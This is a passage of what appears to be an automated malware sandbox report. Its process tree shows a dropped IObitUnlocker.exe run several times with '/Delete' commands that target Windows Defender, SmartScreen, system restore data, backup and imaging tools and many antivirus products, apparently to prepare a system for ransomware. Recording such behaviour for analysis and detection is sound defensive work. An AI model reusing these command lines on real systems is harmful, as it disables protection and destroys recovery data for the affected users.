\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\CloneAppParameters.exe","C:\Windows\CloneAppParameters.exe","C:\ProgramData\CloneAppParameters.exe","C:\Windows\system32\OneDrivePatcher.exe","C:\Windows\OneDrivePatcher.exe","C:\ProgramData\OneDrivePatcher.exe","C:\Windows\system32\PhotoRecoveryTable.exe","C:\Windows\PhotoRecoveryTable.exe","C:\ProgramData\PhotoRecoveryTable.exe","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:5912
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\CloneAppParameters.exe","C:\Windows\CloneAppParameters.exe","C:\ProgramData\CloneAppParameters.exe","C:\Windows\system32\OneDrivePatcher.exe","C:\Windows\OneDrivePatcher.exe","C:\ProgramData\OneDrivePatcher.exe","C:\Windows\system32\PhotoRecoveryTable.exe","C:\Windows\PhotoRecoveryTable.exe","C:\ProgramData\PhotoRecoveryTable.exe","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:5660
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\CloneAppParameters.exe","C:\Windows\CloneAppParameters.exe","C:\ProgramData\CloneAppParameters.exe","C:\Windows\system32\OneDrivePatcher.exe","C:\Windows\OneDrivePatcher.exe","C:\ProgramData\OneDrivePatcher.exe","C:\Windows\system32\PhotoRecoveryTable.exe","C:\Windows\PhotoRecoveryTable.exe","C:\ProgramData\PhotoRecoveryTable.exe","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:4980
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
